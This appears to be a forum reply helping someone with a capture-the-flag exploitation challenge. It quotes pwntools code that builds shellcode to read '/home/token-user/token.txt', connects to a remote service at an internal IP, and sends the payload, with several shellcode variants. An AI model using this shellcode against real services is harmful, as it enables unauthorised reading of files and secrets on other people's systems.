    well, as indicated in reddit sub:

    ...
shellcode = shellcraft.cat2("/home/token-user/token.txt", 1, 40) + shellcraft.ret(0)
shellcode = asm(shellcode)
print ("Sending Shellcode:",shellcode, " ---#")
io.send(shellcode)
io.sendline()
...

    should work.

    looking at my old solution I see that I remote connected:

    io = remote('10.102.180.68',5000)

    somehow I don't see this in your code.

    could it be (it's been a long time) that you're working on the wrong endpoint?

Additionally I've tried these as well.

shellcode = asm(shellcraft.cat("/home/token-user/token.txt"))
shellcode = shellcraft.cat2("/home/token-user/token.txt", 1, 40) + shellcraft.ret(0)
shellcode = asm(shellcraft.cat2("/home/token-user/token.txt", 1, 40) + shellcraft.ret(0))
